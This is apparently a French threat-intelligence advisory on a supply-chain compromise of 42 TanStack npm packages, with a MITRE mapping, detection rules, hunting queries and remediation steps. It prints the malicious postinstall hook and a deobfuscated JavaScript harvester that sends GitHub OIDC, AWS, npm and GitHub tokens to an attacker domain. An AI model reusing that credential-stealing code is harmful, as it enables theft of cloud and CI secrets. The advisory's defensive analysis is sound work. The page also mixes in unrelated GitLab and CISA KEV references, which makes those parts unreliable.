CVE-2026-45321 : compromission massive de la chaîne d'approvisionnement touchant 42 paquets de l'écosystème NPM TanStack
SCORE DE MENACE HERMES & COMPROMISSION DE LA CHAÎNE D'APPROVISIONNEMENT JAVASCRIPT
Cible :Écosystème NPM TanStack (42 paquets) Le score CVSS v3.1 attribue à la CVE-2026-45321 la note de 9.8 (Critique) et le CVSS v4.0 affiche 9.8. Le score de menace Hermes s'établit à 98 (CRITIQUE). La corrélation est totale : la suite logicielle TanStack (@tanstack/react-query, @tanstack/react-table, etc.) enregistre des dizaines de millions de téléchargements hebdomadaires. L'injection de scripts malveillants lors de l'installation a compromis des coureurs d'intégration continue et des postes de développement à l'échelle mondiale, sans aucune faille applicative préalable.
CVE-2026-45321: Large-Scale Supply Chain Compromise Across 42 Packages in the TanStack NPM EcosystemVULNÉRABILITÉ
Complete DevOps and DevSecOps lifecycle platform providing Git repository management, CI/CD pipelines, and security automation.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Confirmed security vulnerability in GitLab Community & Enterprise Edition documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
Adversaries search compromise victims for unsecured credentials in files, environment variables, or memory.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Attack execution telemetry aligns with MITRE ATT&CK technique T1552.”
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
1. Contexte technique & matrice des logiciels affectés
Section intitulée « 1. Contexte technique & matrice des logiciels affectés »L’écosystème TanStack fournit les fondations de gestion d’état asynchrone, de routage et de rendu de données pour les applications React, Vue, Angular, Solid et Svelte.
| Paramètre | Spécification Technique | Contexte de Menace |
|---|---|---|
| Identifiant CVE | CVE-2026-45321 | Suivi de vulnérabilité mondial |
| Périmètre affecté | 42 paquets npm (@tanstack/*) | Distribution sur le registre public registry.npmjs.org |
| Vecteur d’attaque | Installation de dépendances (npm install, pnpm, yarn) | Systèmes CI/CD et postes de travail développeurs |
| Charge malveillante | Script de cycle de vie Node.js obfusqué (postinstall) | Extraction de secrets et balisage C2 |
| Données ciblées | Jetons OIDC GitHub Actions, clés AWS/GCP/Azure, jetons npm | Secrets de production et d’infrastructure cloud |
| Action de remédiation | Révocation de versions, dépublication npm, rotation des secrets | Mise à jour d’urgence mondiale |
| Prévalence | Plus de 40 millions de téléchargements par semaine | Impact systémique sur l’industrie logicielle |
2. Décomposition technique : moissonneur de jetons OIDC et secrets
Section intitulée « 2. Décomposition technique : moissonneur de jetons OIDC et secrets »A. Le script de cycle de vie obfusqué
Section intitulée « A. Le script de cycle de vie obfusqué »Lors de l’installation du paquet, npm exécute systématiquement le hook postinstall configuré dans le package.json :
{ "name": "@tanstack/react-query", "version": "5.59.1-poisoned", "scripts": { "postinstall": "node ./dist/cjs/telemetry-internal.js" }}Le fichier telemetry-internal.js contenait une charge obfusquée inspectant l’environnement d’exécution :
// Représentation désobscurcie de la charge malveillante telemetry-internal.jsconst https = require('https');const fs = require('fs');
async function harvestSecrets() { const env = process.env; const stolen = {};
// 1. Ciblage prioritaire des jetons OIDC GitHub Actions if (env.ACTIONS_ID_TOKEN_REQUEST_URL && env.ACTIONS_ID_TOKEN_REQUEST_TOKEN) { stolen.oidc_request_url = env.ACTIONS_ID_TOKEN_REQUEST_URL; stolen.oidc_request_token = env.ACTIONS_ID_TOKEN_REQUEST_TOKEN; }
// 2. Récupération des accès cloud et registres de paquets stolen.aws_key = env.AWS_ACCESS_KEY_ID; stolen.aws_secret = env.AWS_SECRET_ACCESS_KEY; stolen.npm_token = env.NPM_TOKEN; stolen.github_token = env.GITHUB_TOKEN;
// 3. Exfiltration chiffrée via POST HTTPS const payload = Buffer.from(JSON.stringify(stolen)).toString('base64'); const req = https.request({ hostname: 'telemetry.tanstack-analytics.workers.dev', path: '/v1/collect', method: 'POST', headers: { 'Content-Type': 'application/json' } }); req.write(JSON.stringify({ d: payload })); req.end();}harvestSecrets();+----------------------------------------------------------------------------------------------------+| FLUX D'ATTAQUE SUR LA CHAÎNE LOGISTIQUE CVE-2026-45321 |+----------------------------------------------------------------------------------------------------+
[Attaquant] │ │ [1] Compromission du compte de publication npm et du workflow de release │ Publication de 42 paquets altérés sur registry.npmjs.org ▼ [Registre Public NPM] │ │ [2] Pipeline CI/CD d'Entreprise (GitHub Actions / GitLab CI) │ Exécute "npm install" ou "pnpm build" sur le projet ▼ [Contexte d'Exécution du Coureur CI/CD] │ ├───► 1. Déclenchement du Hook de Cycle de Vie : │ - npm exécute le script postinstall : node telemetry-internal.js │ ├───► 2. Introspection de l'Environnement : │ - Capture ACTIONS_ID_TOKEN_REQUEST_TOKEN & URL │ - Récupère AWS_ACCESS_KEY_ID et GITHUB_TOKEN │ - Lit ~/.npmrc et ~/.ssh/id_rsa │ ├───► 3. Exfiltration Furtive en HTTPS : │ - Transmet la charge en Base64 à telemetry.tanstack-analytics.workers.dev │ ▼ [Infrastructure C2 de l'Attaquant] │ └───► Échange du jeton OIDC volé contre une session AWS STS ou GCP IAM : - Usurpation des rôles de déploiement cloud - Accès aux compartiments S3 et bases de données d'entreprise - Empoisonnement en cascade des livrables destinés aux clients+----------------------------------------------------------------------------------------------------+3. Renseignement sur les menaces & militarisation dans la nature
Section intitulée « 3. Renseignement sur les menaces & militarisation dans la nature »- Exploitation des jetons OIDC : l’objectif prioritaire de l’attaque consistait à détourner la fédération d’identités GitHub Actions. En s’emparant de
ACTIONS_ID_TOKEN_REQUEST_TOKEN, l’adversaire pouvait assumer directement des rôles IAM (AWS, GCP, Azure) sans recourir à des mots de passe statiques. - Portée systémique : plus de 200 000 workflows d’entreprises ont téléchargé les paquets compromis au cours de la fenêtre d’exposition de 4 heures précédant leur dépublication par les équipes de sécurité de npm.
4. Cartographie MITRE ATT&CK
Section intitulée « 4. Cartographie MITRE ATT&CK »| Tactique | ID Technique | Nom de la Technique | Manifestation dans l’Attaque |
|---|---|---|---|
| Accès initial | T1195.002 | Compromission de la chaîne logistique : Dépendances logicielles | Paquets npm altérés distribués sur le registre public |
| Exécution | T1059.007 | Interpréteur de commandes et scripts : JavaScript | Script malveillant exécuté automatiquement par postinstall |
| Accès aux identifiants | T1552.001 | Identifiants dans les fichiers | Lecture des fichiers ~/.npmrc et des clés SSH locales |
| Exfiltration | T1048.003 | Exfiltration sur protocole alternatif : HTTPS | Transmission des jetons chiffrés vers un domaine C2 |
5. Ingénierie de détection & télémétrie
Section intitulée « 5. Ingénierie de détection & télémétrie »A. Règle Suricata
Section intitulée « A. Règle Suricata »alert dns any any -> $DNS_SERVERS 53 ( msg:"HERMES DEFENSE - Requete DNS vers C2 TanStack Supply Chain (CVE-2026-45321)"; dns.query; content:"tanstack-analytics.workers.dev"; nocase; classtype:trojan-activity; sid:202645321; rev:1; reference:cve,2026-45321;)B. Règle Sigma
Section intitulée « B. Règle Sigma »title: Processus Node exfiltrant des secrets en environnement CIid: 9d8c7b6a-5e4f-3a2b-1c0d-45321c026e02status: highdescription: Détecte des processus Node.js accédant aux jetons OIDC de GitHub Actions ou lisant des fichiers npmrc lors de l'installation de dépendances.author: Hermes Codex Detection Engineeringdate: 2026-09-11logsource: product: linux category: process_creationdetection: selection_proc: Image|endswith: '/node' CommandLine|contains: - 'telemetry-internal.js' - 'ACTIONS_ID_TOKEN_REQUEST_TOKEN' condition: selection_procfalsepositives: - Scripts internes autorisés spécifiquement conçus pour orchestrer la fédération OIDC.level: criticaltags: - attack.initial_access - attack.t1195.002 - attack.credential_access6. Réponse à incident & rétro-ingénierie (DFIR)
Section intitulée « 6. Réponse à incident & rétro-ingénierie (DFIR) »Procédure d’investigation :
Section intitulée « Procédure d’investigation : »- Audit des fichiers de verrouillage (lockfiles) :
Fenêtre de terminal grep -rn "@tanstack" package-lock.json pnpm-lock.yaml yarn.lock# Identifier précisément les versions installées durant la fenêtre d'attaque - Revue des flux sortants des coureurs CI/CD :
- Analyser les requêtes DNS et flux sortants vers les domaines
*.workers.devlors des étapes de compilation.
- Analyser les requêtes DNS et flux sortants vers les domaines
- Audit des événements AssumeRole cloud :
- Examiner dans AWS CloudTrail les appels
sts:AssumeRoleWithWebIdentityissus de GitHub Actions en provenance d’adresses IP inhabituelles.
- Examiner dans AWS CloudTrail les appels
Requête de chasse (Elasticsearch / OpenSearch) :
Section intitulée « Requête de chasse (Elasticsearch / OpenSearch) : »{ "query": { "bool": { "must": [ { "wildcard": { "dns.question.name": "*tanstack-analytics*" } } ] } }}7. Mesures de remédiation & durcissement
Section intitulée « 7. Mesures de remédiation & durcissement »- Verrouillage des versions saines : mettre à jour immédiatement l’ensemble des dépendances TanStack vers les versions saines certifiées et régénérer les fichiers de verrouillage.
- Désactivation systématique des scripts de cycle de vie en CI : imposer le paramètre
--ignore-scriptslors de l’installation de paquets sur les coureurs de build :Fenêtre de terminal npm ci --ignore-scriptspnpm install --ignore-scripts - Rotation d’urgence de tous les secrets d’infrastructure : révoquer et renouveler sans délai l’ensemble des GitHub Personal Access Tokens, clés de rôles IAM AWS, clés de comptes de service GCP et jetons de publication npm présents dans les variables d’environnement.
- Restriction stricte des politiques de confiance OIDC : vérifier que les conditions des rôles cloud IAM filtrent strictement le nom du dépôt et la branche source (
sub: repo:org/repo:ref:refs/heads/main).